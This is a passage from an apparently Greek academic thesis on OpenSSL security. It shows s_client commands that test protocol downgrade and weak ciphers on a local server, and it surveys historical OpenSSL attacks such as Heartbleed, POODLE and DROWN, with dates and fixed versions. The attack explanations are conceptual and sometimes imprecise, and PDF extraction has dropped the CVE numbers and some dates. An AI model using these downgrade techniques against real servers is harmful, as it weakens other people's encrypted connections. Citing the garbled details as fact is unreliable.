αλλαγών από την ευρύτερη κοινότητα ανθρώπων που συνεισφέρουν περιστασιακά [8],[13],[18],[19]. 52

55 Σχήμα 3.d : Η αρχιτεκτονική του OpenSSL [47] 3.d.1 Σε τι χρησιμεύει το OpenSSL Το OpenSSL είναι ένα λογισμικό που επιτρέπει στους υπολογιστές να επικοινωνούν με τα πρότυπα κρυπτογράφησης SSL. Είναι ένα έργο ανοικτού πηγαίου κώδικα που δημιουργήθηκε και συντηρείται από εθελοντές. Το OpenSSL παρέχει εφαρμογές για όλες τις εκδόσεις SSL/TLS. Παρέχει τους πιο δημοφιλείς αλγορίθμους για συμμετρική και ασύμμετρη κρυπτογράφηση, αλγορίθμους σύνοψης και μηνύματα κατακερματισμού. Επιπλέον παρέχει μια γεννήτρια παραγωγής ψευδοτυχαίων αριθμών και υποστήριξη για τον χειρισμό κοινών πιστοποιητικών σχημάτων καθώς και διαχείριση κλειδιών.για να ανταποκριθεί κάποιος σε υψηλές απαιτήσεις ασφαλείας, καλό θα ήταν να έχει και ένα επιπλέον υλικό. Το OpenSSL είναι κυρίως μια βιβλιοθήκη που χρησιμοποιείται από τους developers προκειμένου να παρέχουν ισχυρή κρυπτογράφηση στα προγράμματα τους, αλλά αποτελεί εξίσου και ένα εργαλείο που παρέχει πρόσβαση στην πλειοψηφία των δυνατοτήτων του, μέσω της γραμμής εντολών (command line). Με αυτό τον τρόπο μπορεί ο καθένας εύκολα να εκτελέσει λειτουργίες, όπως τον υπολογισμό του χρόνου σύνδεσης με μια ιστοσελίδα ή την διευθέτηση αλγορίθμων κρυπτογράφησης. 53

56 3.d.2 Λειτουργίες του OpenSSL Το OpenSSL προσφέρει ένα μεγάλο εύρος εντολών που ποικίλουν ανάλογα με τις ανάγκες Στα πλαίσια δοκιμών με το OpenSSL έγινε εγκατάσταση ενός τοπικού Apache εξυπηρετητή Το πρώτο τμήμα της εντολής help προσφέρει μια λίστα με τις διαθέσιμες λειτουργίες Ορισμένες από τις βασικές λειτουργίες του OpenSSL είναι : Σύνδεση σε SSL υπηρεσίες : Η εντολή $openssl s_client connect localhost:443 μας επιτρέπει να συνδεθούμε στον εξυπηρετητή που επιθυμούμε μέσω του https (θύρα :443).Η σύνδεση επιτυγχάνεται (αν υποστηρίζεται SSL) με τα προκαθορισμένα στοιχεία που υποστηρίζει αυτός ο εξυπηρετητής. Στην συνέχεια πραγματοποιώ μια αίτηση HTTP: $GET / HTTP/1.0 Με την εντολή επιστρέφονται δεδομένα που αφορούν τον εξυπηρετητή. Αφότου βεβαιωθήκαμε ότι ο εξυπηρετητής δουλεύει κανονικά μέσω των αποκρίσεων,θα συνεχίσουμε σε ορισμένες πληροφορίες που προσφέρονται μέσω αυτών των εντολών. 54

57 Τέτοιες είναι, η αλυσίδα πιστοποιητικών. Λόγω του ότι ο εξυπηρετητής μας είναι κενός, δεν υπάρχει κάποια αλυσίδα αρχών πιστοποίησης. Ωστόσο σε κάποιον άλλον εξυπηρετητή.. Ένα άλλο αντικείμενο που διακρίνουμε είναι το πιστοποιητικό του εξυπηρετητή. 55

58 Στην συνέχεια παρατηρούμε αρκετές πληροφορίες που αφορούν την σύνδεση TLS. Επιπλέον μπορεί να γίνει έλεγχος για τα ποια πρωτόκολλα υποστηρίζει ένας εξυπηρετητής δοκιμάζοντας τα, καθώς επίσης και ποιους αλγόριθμους κρυπτογράφησης Δίνοντας, για παράδειγμα, την εντολή $openssl s_client connect localhost:443 ssl3 Παρατηρούμε πως ο εξυπηρετητής ανταποκρίνεται θετικά και ενώ χρησιμοποιεί σαν προκαθορισμένο πρωτόκολλο το TLS1.2, στην σύνδεση μας χρησιμοποιεί το SSL3. Η συγκεκριμένη περίπτωση (υποβάθμισης πρωτοκόλλου) αποτελεί ένα από τα προβλήματα στο θέμα της ασφάλειας, καθώς οι επιτιθέμενοι χρησιμοποιούν την υποβάθμιση για να εκμεταλλευτούν την αδυναμία στις παραμέτρους ασφαλείας των προγενέστερων πρωτοκόλλων προς όφελος τους 56

59 Με την εντολή ciphers -v μπορούμε να διακρίνουμε τους διαθέσιμους αλγόριθμους κρυπτογράφησης ταξινομημένους, καθώς και τα πρωτόκολλα που τους υποστηρίζουν. Δοκιμάζουμε ξανά να συνδεθούμε με τα ίδια κριτήρια, μόνο που αυτή την φορά θα προσπαθήσουμε να θέσουμε σαν αλγόριθμο κρυπτογράφησης τον RC4-MD5. Χρησιμοποιώ την εντολή $openssl s_client -connect localhost:443 sslv3 cipher RC4 MD5 Παρατηρούμε πως ο εξυπηρετητής υποστηρίζει τον συγκεκριμένο αλγόριθμο. Το OpenSSL μπορεί να χρησιμοποιηθεί για την αξιολόγηση επιδόσεων (benchmarking) Με την εντολή $openssl speed μπορώ να αξιολογήσω το σύστημα που χρησιμοποιώ. Παρόμοια εντολή μπορεί να χρησιμοποιηθεί και για απομακρυσμένες συνδέσεις Το OpenSSL επίσης προσφέρει πρακτικές χρήσεις όπως : Αναπαραγωγή τυχαίου αλφαριθμητικού Επαλήθευση ενός διαδικτυακού πιστοποιητικού μέσω γραμμής εντολών Εξαγωγή πληροφοριών από ένα πιστοποιητικό Αναπαραγωγή μιας σύνοψης MD5 57

60 Αναπαραγωγή κλειδιών Επαλήθευση πιστοποιητικών Έλεγχο για το αν ο εξυπηρετητής είναι ευάλωτος σε κάποια ευπάθεια και πολλές ακόμα. 4 Ασφάλεια του OpenSSL 4.a Ιστορικό επιθέσεων και γενική αξιολόγηση Δεν μπορείς νa αμυνθείς. Δεν μπορείς να αποτρέψεις. Το μόνο που μπορείς να κάνεις, είναι να εντοπίζεις και να αποκρίνεσαι. - Bruce Schneier Το project του OpenSSL ξεκίνησε από το 1998 και άρχισε να εντοπίζει ευπάθειες από τον Απρίλιο του Τα τελευταία χρόνια το OpenSSL έχει αντιμετωπίσει περίπου έξι ευπάθειες από σφάλματα κώδικα που επέτρεπαν στους εισβολείς να αξιοποιήσουν δεδομένα του εξυπηρετητή. Επίσης αντιμετώπισε 8 τρωτά σημεία διαρροής πληροφοριών, τέσσερα εκ των οποίων επέτρεπαν στους επιτιθέμενους να κάνουν ανάκτηση απλού κειμένου και δύο από αυτά υπέκλεπταν ιδιωτικά κλειδιά. Δύο από τις ευπάθειες προέκυψαν λόγω αδυναμιών του πρωτοκόλλου, ενώ οι υπόλοιπες προήλθαν από λάθη εφαρμογής. Υπήρξε περίπτωση στην όποια για την αντιμετώπιση της ευπάθειας Heartbleed, η ιστοσελίδα OpenSSL διέθετε ενεργούς 15 προγραμματιστές,οι περισσότεροι εκ των οποίων συμβάλουν στο πρόγραμμα εθελοντικά. Ωστόσο δεν είναι όλες οι αλλαγές αποτέλεσμα αυτών των 15 ανθρώπων[18] 58

61 Year #of Vulnerabilities DoS Code Overflow Execution Memory Corruption Sql Injection XSS Directory Traversal Http Response Splitting Bypass something Gain Information Gain Privileges CSRF File Inclusion Total % Of All Πίνακας 4.a : Διαχρονικές τάσεις ευπαθειών του OpenSSL [48] #of Exploits Σχήμα 4.a (1): Ευπάθειες ανά Έτος [48] Σχήμα 4.a(2): Ευπάθειες ανά τύπο [48] 59

62 4.a.1 Αξιοσημείωτες επιθέσεις του OpenSSL 4.a.1.a Επίθεση Bleichenbacher #1 Ευπάθεια : CVE Ημερομηνία δημοσίευσης : 14 Μαρτίου 2003 Πρόκειται για μια επίθεση επιλεγμένου κρυπτοκειμένου που βασίζεται στον εξυπηρετητή, χρησιμοποιώντας τον ως μηχανή oracle.το όνομα της το πήρε από τον Ελβετό Daniel Bleichenbacher.Σε αυτή την επίθεση ο επιτιθέμενος χρησιμοποιεί τον εξυπηρετητή ως μηχάνημα oracle, για να αποκρυπτογραφήσει το κρυπτογραφημένο κείμενο. Δημιουργεί ένα μεγάλο πλήθος από πλαστά μηνύματα σχεδιασμένα με βάση την τακτική κυκλοφορία πακέτων. Τα μηνύματα αυτά χρησιμοποιούνται για να μελετηθεί η κρυπτογράφηση που χρησιμοποιεί ο εξυπηρετητής. Η επίθεση τύπου Bleichenbacher έχει διάφορες παραλλαγές κατά καιρούς. Τέτοιες είναι : PKCS v1.0, PKCS v1.5 και BERserk attack. Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.7b (Επηρέασε τις εκδόσεις: 0.9.7a, 0.9.7). Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.6j (Επηρέασε τις εκδόσεις : 0.9.6i, 0.9.6h, 0.9.6g, 0.9.6f, 0.9.6e, 0.9.6d, 0.9.6c, 0.9.6b, 0.9.6a, 0.9.6). 4.a.1.b "Klima-Pokorny-Rosa attack" Ευπάθεια : CVE Ημερομηνία δημοσίευσης : 19 Μαρτίου 2003 Η επίθεση πήρε το όνομα της από τους Τσέχους κρυπτολόγους Vlastimil Klima, Ondrej Pokorny και Tomas Rosa. Ορισμένα από τα συστατικά του SSL και του TLS επέτρεπαν σε απομακρυσμένους εισβολείς να εκτελούν μια μη εξουσιοδοτημένη λειτουργία RSA ιδιωτικού κλειδιού μέσω μιας τροποποιημένης επίθεσης Bleichenbacher, χρησιμοποιώντας ένα μεγάλο αριθμό από SSL ή TLS συνδέσεις, κάνοντας χρήση padding τύπου PKCS #1 v1.5. Αυτό προκάλεσε διαρροή πληροφοριών στο OpenSSL, όσον αφορά την συσχέτιση μεταξύ ενός κρυπτοκειμένου και ενός απλού κειμένου. Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.6j (Επηρέασε τις εκδόσεις : 0.9.6i, 0.9.6h, 0.9.6g, 0.9.6f, 0.9.6e, 0.9.6d, 0.9.6c, 0.9.6b, 0.9.6a, 0.9.6). Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.7b (Επηρέασε τις εκδόσεις : 0.9.7a, 0.9.7). 60

63 4.a.1.c Version rollback Ευπάθεια : CVE Ημερομηνία δημοσίευσης : 11 Οκτωβρίου 2005 Πρόκειται για την αξιοποίηση της συμβατότητας μιας προγενέστερης έκδοσης πρωτοκόλλου, θέτοντας σε ισχύ μια επίθεση τύπου υποβάθμισης πρωτοκόλλου. Ο MITM επιτιθέμενος πετυχαίνει την υποβάθμιση σε παλαιότερη έκδοση πρωτοκόλλου μπλοκάροντας την νόμιμη αίτηση hello από τον πελάτη, στέλνοντας στην συνέχεια μία πλαστή αίτηση hello με μία παλαιότερη έκδοση στον εξυπηρετητή. Ο τελευταίος υποθέτει ότι η αίτηση που έλαβε αφορά το μεταγενέστερο πρωτόκολλο που υποστηρίζει ο φυλλομετρητής του πελάτη. Ως εκ τούτου ο εξυπηρετητής δρα ως εξής : 1. Εάν η πολιτική του εξυπηρετητή επιτρέψει την ληφθείσα έκδοση, η σύνδεση εγκαθιδρύεται χρησιμοποιώντας ένα πιο αδύναμο σετ από παραμέτρους που είναι ευκολότερο να κρυπταναληθούν. 2. Εάν δεν υποστηρίζεται η έκδοση, το μήνυμα hello του εξυπηρετητή επιλέγει την προεπιλεγμένη συλλογή, την 0x0000 συλλογή cipher και ως συνέπεια καμία κρυπτογράφηση δεν παρέχεται στα δεδομένα. Η ευπάθεια αναφέρθηκε από έναν ερευνητή. Επιδιορθώθηκε στην έκδοση του OpenSSL 0.9.7h(Επηρέασε τις εκδόσεις 0.9.7g, 0.9.7f, 0.9.7e, 0.9.7d, 0.9.7c, 0.9.7b, 0.9.7a, 0.9.7). Επιδιορθώθηκε στην έκδοση του OpenSSL 0.9.8a (Επηρέασε την έκδοση 0.9.8). 4.a.1.d Renegotiation attack Ευπάθεια : CVE Ημερομηνία Δημοσίευσης : 5 Νοεμβρίου 2009 Η πολιτική επαναδιαπραγμάτευσης στο SSL/TLS ουσιαστικά αναφέρεται στην εκ νέου χρήση όλων των παραμέτρων που χρησιμοποιήθηκαν σε μια προηγούμενη σύνοδο. Αυτό γίνεται για να μειωθεί η κίνηση που παράγεται κατά την διαπραγμάτευση. Η διαδικασία αυτή όμως προϋποθέτει την αναφορά του ID συνόδου, της συνόδου της οποίας οι παράμετροι πρόκειται να επαναχρησιμοποιηθούν σε ένα hello μήνυμα πελάτη. Αυτή η πολιτική οδηγεί στα παρακάτω ζητήματα : 1. Εάν η σύνοδος της οποίας οι παράμετροι επαναχρησιμοποιούνται βρίσκεται σε κίνδυνο από τον εισβολέα, τότε η τρέχουσα σύνοδος τίθεται και αυτή σε κίνδυνο. 2. Ακόμη και χωρίς πληροφορίες της προηγούμενης συνόδου, ο εισβολέας σε αυτή την φάση είναι σε θέση να χρησιμοποιήσει πληροφορίες τόσο της τρέχουσας όσο 61

64 και της προηγούμενης συνόδου. Εάν η κρυπτογράφηση σπάσει, τα δεδομένα και των δύο συνόδων θα αποκαλυφθούν. 3. Ο εισβολέας κλέβει τα cookies από τον φυλλομετρητή του πελάτη και όταν ο πελάτης είναι ανενεργός, μπορεί να μεταμφιεστεί ως πελάτης και να συνδεθεί στον εξυπηρετητή. Η επαναδιαπραγμάτευση επιτρέπει στον εισβολέα να εγκαθιδρύσει μια ασφαλή σύνδεση με τον εξυπηρετητή χωρίς την επίτευξη αυθεντικοποίησης στη μηχανή του. Αν και η πολιτική επαναδιαπραγμάτευσης μειώνει την πολυπλοκότητα του πρωτοκόλλου, αποτυγχάνει στην παροχή ασφάλειας. Επιδιορθώθηκε στην έκδοση του OpenSSL 0.9.8m (Επηρέασε τις εκδόσεις : 0.9.8l, 0.9.8k, 0.9.8j, 0.9.8i, 0.9.8h, 0.9.8g, 0.9.8f, 0.9.8e, 0.9.8d, 0.9.8c, 0.9.8b, 0.9.8a, 0.9.8). 4.a.1.e Cipher suite attack Ευπάθεια : CVE Ημερομηνία δημοσίευσης: 2 Δεκεμβρίου 2010 Ένα ελάττωμα στον κώδικα του OpenSSL SSL/TLS εξυπηρετητή που επιτρέπει κακόβουλους πελάτες στο να τροποποιήσουν την αποθηκευμένη μνήμη cache συλλογής αλγορίθμων της συνόδου. Σε ορισμένες περιπτώσεις η συλλογή αλγορίθμων μπορεί να υποβαθμιστεί σε μία πιο αδύναμη σε μεταγενέστερες συνδέσεις. Αυτό το ζήτημα επηρεάζει μόνο τους SSL/TLS εξυπηρετητές που βασίζονται στο OpenSSL και χρησιμοποιούν εσωτερικούς μηχανισμούς caching, καθώς επίσης διαθέτουν και την παράμετρο SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG flag ενεργοποιημένες. Η ευπάθεια αναφέρθηκε από τον Martin Rex Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.0c (Επηρέασε τις εκδόσεις : 1.0.0b, 1.0.0a, 1.0.0). Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.8q (Επηρέασε τις εκδόσεις : 0.9.8p, 0.9.8o, 0.9.8n, 0.9.8m, 0.9.8l, 0.9.8k, 0.9.8j, 0.9.8i, 0.9.8h, 0.9.8g, 0.9.8f, 0.9.8e, 0.9.8d, 0.9.8c, 0.9.8b, 0.9.8a, 0.9.8). 62

65 4.a.1.f OCSP stapling vulnerability Ευπάθεια : CVE Ημερομηνία δημοσίευσης : 8 Φεβρουαρίου 2011 Πρόκειται για ένα ελάττωμα στην ανάγνωση buffer, στο τρόπο με τον οποίο το OpenSSL ανέλυε τις TLS επεκτάσεις Certificate Status Request στο TLS μήνυμα χειραψίας ClientHello. Ένας απομακρυσμένος εισβολέας θα μπορούσε να χρησιμοποιήσει το ελάττωμα για να προκαλέσει βλάβη σε έναν SSL εξυπηρετητή χρησιμοποιώντας αυτή την λειτουργία του OpenSSL. Η ευπάθεια αναφέρθηκε από τον Neel Mehta Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.0d (Επηρέασε τις εκδόσεις : 1.0.0c, 1.0.0b, 1.0.0a, 1.0.0) Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.8r (Επηρέασε τις εκδόσεις : 0.9.8q, 0.9.8p, 0.9.8o, 0.9.8n, 0.9.8m, 0.9.8l, 0.9.8k, 0.9.8j, 0.9.8i, 0.9.8h) 4.a.1.g Lucky 13 Ευπάθεια : CVE Ημερομηνία δημοσίευσης: 4 Φεβρουαρίου 2013 Το όνομα Lucky 13 δόθηκε στην επίθεση λόγω της διαδικασίας που ακολουθεί το TSL στην εκτέλεση υπολογισμού του MAC, όταν αυθεντικοποιεί τα δεδομένα.είναι μια επίθεση που βασίζεται σε ένα μήνυμα συναγερμού και χρονικής καθυστέρησης κατά την απόκριση ευπαθειών. Ο εξυπηρετητής χρησιμοποιεί την πολιτική μηνύματος Encode-then-Encrypt (MEE) για να πετύχει ένα σταθερό χρόνο αποκρίσεως για ορθές αλλά και μη ορθές κρυπτογραφήσεις.ωστόσο το σφάλμα στο γέμισμα μηνύματος θα προκαλέσει περισσότερη καθυστέρηση από το να ελέγξει για σφάλματα στην κρυπτογράφηση. Αυτή η καθυστέρηση χρησιμοποιείται ως ευπάθεια, με τον εξυπηρετητή να μεταχειρίζεται ο ίδιος ως μια μηχανή oracle προς μελέτη σχετικά με το γέμισμα μηνύματος και συνεπώς αποκρυπτογραφείται το μήνυμα με την μέθοδο της κρυπτανάλυσης. Η ευπάθεια αναφέρθηκε από τους Nadhem J. AlFardan και Kenneth G. Paterson. Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.1d (Επηρέασε τις εκδόσεις : 1.0.1c, 1.0.1b, 1.0.1a, 1.0.1) Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.0k (Επηρέασε τις εκδόσεις : 1.0.0j, 1.0.0i, 1.0.0g, 1.0.0f, 1.0.0e, 1.0.0d, 1.0.0c, 1.0.0b, 1.0.0a, 1.0.0) Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.8y (Επηρέασε τις εκδόσεις : 0.9.8x, 0.9.8w, 0.9.8v, 0.9.8u, 0.9.8t, 0.9.8s, 0.9.8r, 0.9.8q, 0.9.8p, 0.9.8o, 0.9.8n, 0.9.8m, 0.9.8l, 0.9.8k, 0.9.8j, 0.9.8i, 0.9.8h, 0.9.8g, 0.9.8f, 0.9.8e, 0.9.8d, 0.9.8c, 0.9.8b, 0.9.8a, 0.9.8) 63

66 4.a.1.h Poodle attack (Padding Oracle On Downgraded Legacy Encryption) Ευπάθεια : CVE Ημερομηνία δημοσίευσης : 15 Οκτωβρίου 2014 Πρόκειται για μια εκδοχή της επίθεσης Padding Oracle. Εκμεταλλεύεται δύο πράγματα, χρησιμοποιώντας τον εξυπηρετητή ως oracle και την ευπάθεια επιστροφής έκδοσης. Ένας εισβολέας MITM επιτίθεται με επίθεση τύπου υποβάθμισης έκδοσης πρωτοκόλλου, με αποτέλεσμα η σύνδεση του πελάτη να εγκαθιδρύεται με πρωτόκολλο SSL έκδοσης 3 ή και προγενέστερης. Έτσι η συλλογή αλγορίθμων περιέχει παλιούς κρυπτογραφικούς αλγόριθμους τύπου CBC και RC4 που είναι ευάλωτοι. Η επίθεση αυτή παρέχει πληροφορίες για το γέμισμα(padding) του μηνύματος. Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.1j (Επηρέασε τις εκδόσεις : 1.0.1i, 1.0.1h, 1.0.1g, 1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, 1.0.1) Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.0o (Επηρέασε τις εκδόσεις : 1.0.0n, 1.0.0m, 1.0.0l, 1.0.0k, 1.0.0j, 1.0.0i, 1.0.0g, 1.0.0f, 1.0.0e, 1.0.0d, 1.0.0c, 1.0.0b, 1.0.0a, 1.0.0) Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.8zc (Επηρέασε τις εκδόσεις : 0.9.8zb, 0.9.8za, 0.9.8y, 0.9.8x, 0.9.8w, 0.9.8v, 0.9.8u, 0.9.8t, 0.9.8s, 0.9.8r, 0.9.8q, 0.9.8p, 0.9.8o, 0.9.8n, 0.9.8m, 0.9.8l, 0.9.8k, 0.9.8j, 0.9.8i, 0.9.8h, 0.9.8g, 0.9.8f, 0.9.8e, 0.9.8d, 0.9.8c, 0.9.8b, 0.9.8a, 0.9.8) 4.a.1.i Heartbleed attack Ευπάθεια : CVE Ημερομηνία δημοσίευσης : 7 Απριλίου 2014 Πρόκειται για ένα απόντα έλεγχο ορίων στον χειρισμό της επέκτασης TLS heartbeat που μπορεί να οδηγήσει στην αποκάλυψη μέχρι και 64KB μνήμης σε έναν συνδεδεμένο πελάτη ή εξυπηρετητή. Αυτό λειτουργεί ως εξής : Ο πελάτης στέλνει μια αίτηση heartbeat στον εξυπηρετητή προκειμένου να ελέγξει την διαθεσιμότητα του εξυπηρετητή. Το μήνυμα περιέχει μια λέξη μαζί με το μήκος της λέξης. Ο εξυπηρετητής,αφού λάβει την αίτηση, ελέγχει αν ο αποστολέας είναι αυτός που υποστηρίζει πως είναι, συγκρίνοντας το αντίγραφο της λέξης που κατέχει με την λέξη που έλαβε από τον αποστολέα. Σε περίπτωση αποστολής μεγαλύτερου μήκους της λέξης από το ορθό,ο εξυπηρετητής δεν ελέγχει αν το μήκος της λέξης ταιριάζει με την λέξη, στέλνοντας την απάντηση μαζί με ευαίσθητα δεδομένα. Η ευπάθεια αναφέρθηκε από τον Neel Mehta. Επιδιορθώθηκε στην έκδοση του OpenSSL 1.0.1g (Επηρέασε τις εκδόσεις : 1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, 1.0.1) 64

67 4.a.1.j CCS Injection Vulnerability Ευπάθεια : CVE Ημερομηνία δημοσίευσης: 5 Ιουνίου 2014 Ένας εισβολέας είναι σε θέση να αναγκάσει την χρήση αδύναμου υλικού κλειδιού σε OpenSSL SSL/TSL πελάτες και εξυπηρετητές. Αυτό μπορεί να γίνει αντικείμενο εκμετάλλευσης από επιθέσεις τύπου Man-in-the-middle (MITM),όπου ο εισβολέας μπορεί να αποκρυπτογραφήσει και να τροποποιήσει κίνηση από τον επιτιθέμενο πελάτη και εξυπηρετητή. Η ευπάθεια αναφέρθηκε από τον KIKUCHI Masashi (Lepidum Co. Ltd.). Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.1h (Επηρέασε τις εκδόσεις : 1.0.1g, 1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, 1.0.1) Επιδιορθώθηκε στην OpenSSL 1.0.0m (Επηρέασε τις εκδόσεις : 1.0.0l, 1.0.0k, 1.0.0j, 1.0.0i, 1.0.0g, 1.0.0f, 1.0.0e, 1.0.0d, 1.0.0c, 1.0.0b, 1.0.0a, 1.0.0) Επιδιορθώθηκε στην OpenSSL 0.9.8za (Επηρέασε τις εκδόσεις : 0.9.8y, 0.9.8x, 0.9.8w, 0.9.8v, 0.9.8u, 0.9.8t, 0.9.8s, 0.9.8r, 0.9.8q, 0.9.8p, 0.9.8o, 0.9.8n, 0.9.8m, 0.9.8l, 0.9.8k, 0.9.8j, 0.9.8i, 0.9.8h, 0.9.8g, 0.9.8f, 0.9.8e, 0.9.8d, 0.9.8c, 0.9.8b, 0.9.8a, 0.9.8) 4.a.1.k FREAK (Factoring Attack on RSA-EXPORT Keys) Ευπάθεια : CVE Ημερομηνία δημοσίευσης: 6 Ιανουαρίου 2015: Είναι μια αδυναμία σε ορισμένες υλοποιήσεις του SSL/TLS που επιτρέπει σε έναν εισβολέα να αποκρυπτογραφήσει ασφαλείς επικοινωνίες μεταξύ ευπαθών πελατών και εξυπηρετητών. Αυτό γίνεται καθώς ένας OpenSSL πελάτης αποδέχεται την χρήση ενός προσωρινού κλειδιού RSA σε μια non-export ανταλλαγή ciphersuite RSA κλειδιού. Ο εξυπηρετητής μπορεί να παρουσιάσει ένα αδύναμο προσωρινό κλειδί και να υποβαθμίσει την ασφάλεια της συνόδου. Αναφέρθηκε από τον Karthikeyan Bhargavan της ομάδας PROSESCO. Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.1k (Επηρέασε τις εκδόσεις : 1.0.1j, 1.0.1i, 1.0.1h, 1.0.1g, 1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, 1.0.1) Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.0p (Επηρέασε τις εκδόσεις : 1.0.0o, 1.0.0n, 1.0.0m, 1.0.0l, 1.0.0k, 1.0.0j, 1.0.0i, 1.0.0g, 1.0.0f, 1.0.0e, 1.0.0d, 1.0.0c, 1.0.0b, 1.0.0a, 1.0.0) Επιδιορθώθηκε στην έκδοση OpenSSL 0.9.8zd (Επηρέασε τις εκδόσεις : 0.9.8zc, 0.9.8zb, 0.9.8za, 0.9.8y, 0.9.8x, 0.9.8w, 0.9.8v, 0.9.8u, 0.9.8t, 0.9.8s, 0.9.8r, 0.9.8q, 0.9.8p, 0.9.8o, 65

68 0.9.8n, 0.9.8m, 0.9.8l, 0.9.8k, 0.9.8j, 0.9.8i, 0.9.8h, 0.9.8g, 0.9.8f, 0.9.8e, 0.9.8d, 0.9.8c, 0.9.8b, 0.9.8a, 0.9.8) 4.a.1.l DROWN (Decrypting RSA with Obsolete and Weakened encryption) Ευπάθεια : CVE Ημερομηνία δημοσίευσης : 1 Μαρτίου 2016 Πρόκειται για μια επίθεση τύπου cross-protocol που χρησιμοποιεί χειραψίες πρωτοκόλλου SSLv2 για να αποκρυπτογραφήσει συνδέσεις TLS. Αυτό επιτυγχάνεται με τους εξής τρόπους: Είτε ο εξυπηρετητής υποστηρίζει συνδέσεις πρωτοκόλλου SSLv2 είτε μοιράζεται τα ίδια κλειδιά RSA με κάποιον εξυπηρετητή που χρησιμοποιεί SSLv2. Μια πιο αποτελεσματική παραλλαγή της επίθεσης υφίσταται ενάντια σε μη αναβαθμισμένες εκδόσεις του OpenSSL μειώνοντας κατά πολύ την χρονική πολυπλοκότητα της επίθεσης. Αναφέρθηκε από τους Nimrod Aviram και Sebastian Schinzel. Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.1s (Επηρέασε τις εκδόσεις : 1.0.1r, 1.0.1q, 1.0.1p, 1.0.1o, 1.0.1n, 1.0.1m, 1.0.1l, 1.0.1k, 1.0.1j, 1.0.1i, 1.0.1h, 1.0.1g, 1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, 1.0.1) Επιδιορθώθηκε στην έκδοση OpenSSL 1.0.2g (Επηρέασε τις εκδόσεις : 1.0.2f, 1.0.2e, 1.0.2d, 1.0.2c, 1.0.2b, 1.0.2a, 1.0.2) Από τις παραπάνω επιθέσεις [18], [20] και [21], τρεις επιλέχθηκαν στα πλαίσια μελέτης και ανάλυσης για την διεξαγωγή συμπερασμάτων. Αυτές είναι οι : Heartbleed POODLE DROWN 66

69 4.b Heartbleed Vulnerability Σχήμα 4.b : Έμβλημα ευπάθειας Heartbleed [23] 4.b.1 Ιστορικά στοιχεία Toν Μάρτιο του 2014 ερευνητική ομάδα ανακάλυψε μια καταστροφική ευπάθεια στο OpenSSL. Παρόλα τα θέματα ασφάλειας που προέκυψαν στα δεκαέξι χρόνια ιστορίας του OpenSSL, από ό,τι φαίνεται, η ευπάθεια Heartbleed ήταν και η πιο καίρια. Η ευπάθεια αυτή επιτρέπει στους επιτιθέμενους να διαβάζουν ευαίσθητες πληροφορίες μνήμης από ευάλωτους εξυπηρετητές, συμπεριλαμβανομένων κλειδιών κρυπτογράφησης, διαπιστευτηρίων καθώς και άλλα απόρρητα δεδομένα [22]. Επιδεινώνοντας την δριμύτητα του το ελάττωμα αυτό είναι εύκολο στην κατανόηση και στην εκμετάλλευση του. Μέχρι να ανακαλυφθεί η ευπάθεια,εκτιμήθηκε πως ένα εκ των επακολούθων της,όσον αφορά την έλευση της στο τμήμα του εμπορικού διαδικτύου, ήταν το να επιτρέπει σε εισβολείς να διαβάζουν από απόσταση προστατευόμενη μνήμη. Στις 7 Απριλίου του 2014 το OpenSSL δημοσιοποίησε την ευπάθεια Heartbleed, ένα σφάλμα στην εκτέλεση της επέκτασης του TLS Heartbeat. Η ευπάθεια αυτή επέτρεπε στους επιτιθέμενους να ξεγελάσουν την μνήμη μαζί με δεδομένα, προσπελάζοντας δεδομένα από το κανάλι ασφαλείας και προσωπικά κλειδιά κρυπτογράφησης - από την πλευρά εξίσου των πελατών όσο και των εξυπηρετητών [8]. 67

70 4.b.2 Περισσότερα ιστορικά στοιχεία Η ευπάθεια του Hearbleed βρέθηκε αρχικά από τον Neel Mehta, έναν υπάλληλο στον τομέα ασφαλείας υπολογιστών της Google τον Μάρτιο του Κατά την εύρεση σφαλμάτων και την επιδιόρθωση των διακομιστών της, η εταιρεία γνωστοποίησε το σφάλμα στον πυρήνα της ομάδας του OpenSSL την 1 η Απριλίου. Σε ανεξάρτητο χρόνο η ομάδα παροχής συμβουλών ασφαλείας Codenomicon αντιλήφθηκε την ευπάθεια στις 2 Απριλίου και την ανέφερε στην National Cyber Security Centre Finlan(NCSC-FI). Αφότου παρέλαβε γνωστοποίηση από δύο ανεξάρτητες ομάδες για την ανακάλυψη της ευπάθειας, η κύρια ομάδα του OpenSSL αποφάσισε να κυκλοφορήσει μια βελτιωμένη έκδοση. Η δημοσιοποίηση της ευπάθειας ξεκίνησε στις 7 Απριλίου του 2014 ώρα 17:49 UTC με την κυκλοφορία της έκδοσης 1.0.1g, ακολουθούμενη από την συμβουλευτική ανακοίνωση δημόσιας ασφάλειας η οποία κυκλοφόρησε στις 20:37 UTC. Και οι δύο ανακοινώσεις αποστάλθηκαν στην λίστα των της ομάδας του OpenSSL. Αρκετοί γνώριζαν την ευπάθεια νωρίτερα, συμπεριλαμβανομένων των Cloudflare, Akamai και Facebook. Οι Red Hat, SuSE, Debian, FreeBSD και ALT Linux ενημερώθηκαν σε λιγότερο από 24 ώρες πριν την δημοσιοποίηση αυτή. Άλλοι, όπως οι Ubuntu, Gentoo, Chromium, Cisco και Juniper δεν είχαν αντιληφθεί το 